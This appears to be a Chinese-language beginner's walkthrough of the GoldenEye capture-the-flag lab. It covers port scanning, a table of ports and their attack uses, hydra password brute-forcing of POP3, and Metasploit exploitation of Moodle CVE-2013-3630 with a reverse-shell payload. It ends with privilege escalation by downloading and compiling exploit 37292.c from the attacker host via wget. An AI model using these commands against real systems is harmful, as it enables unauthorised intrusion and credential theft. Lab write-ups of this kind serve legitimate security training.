一、介绍
大家好,因为自己是一个刚入门网安不久的新人,现在想通过打一些靶机来进行学习,这里的计划是通过百个项目来进行实操,巩固自己的基础。发文也是记录一下自己的开始,文章会写的比较详细,让0基础的小白跟着做也会。本文仅用于技术讨论与研究,如用作非法用途作者概不负责。GoldenEye也是我们新手入门必打靶机,那我们就开始进入正文吧。
二、GoldenEye靶机实战
首先查看该IP存活情况命令为nmap -sP 192.168.10.0/24
这里192.168.10.132为本机ip,结尾是1、2的先排除,所以目标靶机ip为192.168.10.134。接着我们就可以开始端口扫描了用nmap 192.168.10.134来查看该ip开放了哪些端口。
可以看到开放了25、80端口,从下面的表中可以看出25端口的可能会出现邮件伪造,80端口的可能会出现web的一些漏洞。
这里是一些常见端口会出现的漏洞:
端口 | 服务 | 渗透用途 |
tcp 20,21 | FTP | 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4) |
tcp 22 | SSH | 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输等等 |
tcp 23 | Telnet | 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令 |
tcp 25 | SMTP | 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑 |
tcp/udp 53 | DNS | 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控 |
tcp/udp 69 | TFTP | 尝试下载目标及其的各类重要配置文件 |
tcp 80-89,443,8440-8450,8080-8089 | 各种常用的Web服务端口 | 可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏洞利用,各类Web框架漏洞利用等等…… |
tcp 110 | POP3 | 可尝试爆破,嗅探 |
tcp 111,2049 | NFS | 权限配置不当 |
tcp 137,139,445 | Samba | 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等…… |
tcp 143 | IMAP | 可尝试爆破 |
udp 161 | SNMP | 爆破默认团队字符串,搜集目标内网信息 |
tcp 389 | LDAP | ldap注入,允许匿名访问,弱口令 |
tcp 512,513,514 | Linux rexec | 可爆破,rlogin登陆 |
tcp 873 | Rsync | 匿名访问,文件上传 |
tcp 1194 | OpenVPN | 想办法钓VPN账号,进内网 |
tcp 1352 | Lotus | 弱口令,信息泄漏,爆破 |
tcp 1433 | SQL Server | 注入,提权,sa弱口令,爆破 |
tcp 1521 | Oracle | tns爆破,注入,弹shell… |
tcp 1500 | ISPmanager | 弱口令 |
tcp 1723 | PPTP | 爆破,想办法钓VPN账号,进内网 |
tcp 2082,2083 | cPanel | 弱口令 |
tcp 2181 | ZooKeeper | 未授权访问 |
tcp 2601,2604 | Zebra | 默认密码zerbra |
tcp 3128 | Squid | 弱口令 |
tcp 3312,3311 | kangle | 弱口令 |
tcp 3306 | MySQL | 注入,提权,爆破 |
tcp 3389 | Windows rdp | shift后门[需要03以下的系统],爆破,ms12-020 |
tcp 3690 | SVN | svn泄露,未授权访问 |
tcp 4848 | GlassFish | 弱口令 |
tcp 5000 | Sybase/DB2 | 爆破,注入 |
tcp 5432 | PostgreSQL | 爆破,注入,弱口令 |
tcp 5900,5901,5902 | VNC | 弱口令爆破 |
tcp 5984 | CouchDB | 未授权导致的任意指令执行 |
tcp 6379 | Redis | 可尝试未授权访问,弱口令爆破 |
tcp 7001,7002 | WebLogic | Java反序列化,弱口令 |
tcp 7778 | Kloxo | 主机面板登录 |
tcp 8000 | Ajenti | 弱口令 |
tcp 8009 | tomcat Ajp | Tomcat-Ajp协议漏洞 |
tcp 8443 | Plesk | 弱口令 |
tcp 8069 | Zabbix | 远程执行,SQL注入 |
tcp 8080-8089 | Jenkins,JBoss | 反序列化,控制台弱口令 |
tcp 9080-9081,9090 | WebSphere | Java反序列化/弱口令 |
tcp 9200,9300 | ElasticSearch | 远程执行 |
tcp 11211 | Memcached | 未授权访问 |
tcp 27017,27018 | MongoDB | 爆破,未授权访问 |
tcp 50070,50030 | Hadoop | 默认端口未授权访问 |
先看一下80端口的有什么信息可以利用,这里看到给出了一个目录。
进去发现是这个界面,这里给出了一个信息是存在一个登陆框。
(我们需要找到账号密码),接着还是回到开头的页面看看前端给出什么有用的信息。这里可以看到有一个js,点进去看看。
这里英语不是很好翻译一下吧。
可以看到给出了2个人名Boris、Natalya还有一个编码InvincibleHack3r把编码拿来解密一下。
得到一个值:InvincibleHack3r
这里有密码了在拿这个密码去登陆刚刚的登陆界面,可以拿刚刚给的用户名去一个一个试试发现用户名是boris密码InvincibleHack3r进入界面.
界面给到我们有用的信息是开启了pop3服务,pop3服务主要用于支持使用客户端远程管理在服务器上的电子邮件。
nmap再去扫描一下全端口nmap -p- 192.168.10.134
发现了一个55006和55007端口,查看一下里边有什么详细信息nmap -p55006,55007 192.168.10.134 -sS -sV -A -T5
前面为参数版本信息-T5为最快速度。
可以发现和刚刚提示的pop3信息一样,把刚刚得到的2个用户名写到记事本echo -e 'natalya\nboris' > labi.txt
用hydra(九头蛇)进行爆破,hydra可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装。hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3
这里的-L是针对字典-l是单个用户,进行爆破
可以看到爆破出了两个账号密码用户一、login: natalya password: bird用户二、login: boris password: secret1!
用nc进行连接
nc 192.168.10.134 55007 #登陆邮箱
user boris #登陆用户名
pass secret1! #登陆密码
list #查看邮件数量
retr 1~3 #查看邮件内容
用户名和密码为刚刚爆破出来的,登陆成功
发现有3封邮件,retr 1、2、3分别打开查看
发现第二封有一下的重点。
我们在去登陆natalya的邮箱,可以看到有2封邮件内容分别是:
第一封邮件:
娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。 一旦学生被指定给你,我就会给你发电子邮件。
此外,请注意可能的网络漏洞。 我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。
---------------------------------------------------------------------------------------------------------------------------------
第二封邮件:
好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子输入……它就会 轻松升级变更单:)
好的,用户信用是:
username:xenia
password:RCP90rulez!
鲍里斯验证了她是一个有效的承包商,所以只需创建帐户好吗?
如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
**请务必编辑您的主机文件,因为您通常在远程离线工作....
由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。
---------------------------------------------------------------------------------------------------------------------------------
其中第二封邮件给出重要信息账号密码和内部域
配置本地HOSTS文件
vim /etc/hosts
192.168.10.134 severnaya-station.com
在打开网址severnaya-station.com/gnocertdir/
发现这里有Moodle cms框架,点击:
发现有需要输入账号密码,用之前邮箱里给的账号密码进入看看,上面邮件里用户xenia的。
成功进入
这里又看到一个人名doak
我们将他写入我们的txt中
继续拿去爆破hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3
这里也可以-l指定用户名hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3
爆破出来login: doak password: goat
继续用nc去连接查看信息
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
回到之前浏览器界面登陆一下
有一个版本号有一个txt,打开txt看看有什么好东西:
还是那句话英语太烂了,拿去翻译一下
他说更多的东西在图片的目录里,那我们看看吧
是上面这张图片下载下来wget http://192.168.10.134/dir007key/for-007.jpg
这里我们可以用exiftool(图虫)看一下图片里有没有什么隐藏信息,这里涉及一些ctf知识,大家不用担心,不会咱们就去查。
一眼就看到这里很奇怪是个base64编码的我们去解码一下
解码的结果是xWinter1995x!其中有说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。那就可以试试用户名:admin密码:xWinter1995x!的登陆
成功进入到管理员的界面,可以看到我们的管理员界面了该干嘛?getshell干嘛,愣着啊!一些常见getshell手段:文件包含漏洞、SQL注入漏洞、文件上传漏洞、暴力破解、木马攻击。如果我们知道该系统存在的历史漏洞,我们也可以通过历史漏洞来拿shell。
通过搜索可以看到我们可以利用漏洞CVE-2013-3630
这里我们可以利用msf这款工具:Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。
msfconsole #进入MSF框架攻击界面
search moodle #查找 moodle类型漏洞
use 1 #调用1 exp
show options #查看需要什么条件
看到这里也有我们之前找的漏洞CVE-2013-3630
在use 1调用exp,在show options看一下需要什么条件。
根据给出的一个一个设置:
set username admin #设置用户名
set password xWinter1995x! #设置密码
set rhost severnaya-station.com #设置:rhosts
set targeturi /gnocertdir #设置目录: /
然后在设置payload让他回弹set payload cmd/unix/reverse
在输入show options
看看还需要设置什么。
需要设置LHOST,本机IP是192.168.10.132,输入set lhost 192.168.10.132
让他回来找咱们,这里我们还不可以run。我们还需要修改执行PSpellShell,在次登陆admin的账户依次点击
改成PSpellShell在点击保存
然后就可以run了
这里显示已经成功建立会话,看一下现在的用户whoami
看看有没有装python,如果装了python的话可以输入python -c 'import pty; pty.spawn("/bin/bash")'
这是一个 Python 命令,用于在交互式 Bash shell 中执行命令。命令中 pty 模块提供了一个伪终端接口,使得可以在终端上执行命令并输出结果。具体来说,pty.spawn("/bin/bash") 命令会创建一个 Bash 进程,并将其连接到伪终端。然后,你可以在 Bash shell 中执行任意命令,并且可以使用 TAB 键自动完成命令和路径。这个命令通常被用于在渗透测试和攻击中,以获取更高的权限或者用于维持对目标系统的访问。它可以帮助攻击者欺骗目标系统,使其认为攻击者已经获得了更高的权限或控制权。
现在我们是已经拿到了该主机的权限,接下来要做的就是提权了,首先查看下该主机版本号uname -a
这里可以看到是Linux ubuntu 3.13.0版本的,那么接下来我们查一下有没有攻击脚本给我们利用一下
还真有
看到这里是由gcc编译的,所以对方的主机中需要安装gcc,这里看看gcc安装了没gcc -h
很明显并没有安装。
在cc -h
看下有没有安装cc编译,可以看到存在该目录。
在我们kali攻击机中也有漏洞库的可以通过searchsploit 37292
查看
用cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/
把他复制到我们的桌面上来。
用vim 37292.c来编辑一下
把这里gcc编译的改为cc保存后退出。开启一个python -m http.server 8085
端口的一个服务
这里我们回到之前主机操作,进入tmp目录。
利用wget http://192.168.10.129:8085/37292.c
下载http服务中的文件
下载成功后我们执行cc编译cc 37292.c -o labi
编译成功labi,我们在./labi
执行,现在是伪终端我们改为真终端输入python -c 'import pty; pty.spawn("/bin/bash")'
后可以看到是root用户了
接下来可以进入root目录id
查看目前权限
这个时候ls是看不到什么文件的,我们在执行ls -la
,可以看到有隐藏文件.flag.txt
然后我们在cat .flag.txt
读取root下flag的信息,可以看到我们已经拿下flag了
三、总结
从这台GoldenEye靶机中我们可以学到信息收集、hydra暴力破解、Getshell、提权。欢迎师傅们沟通交流!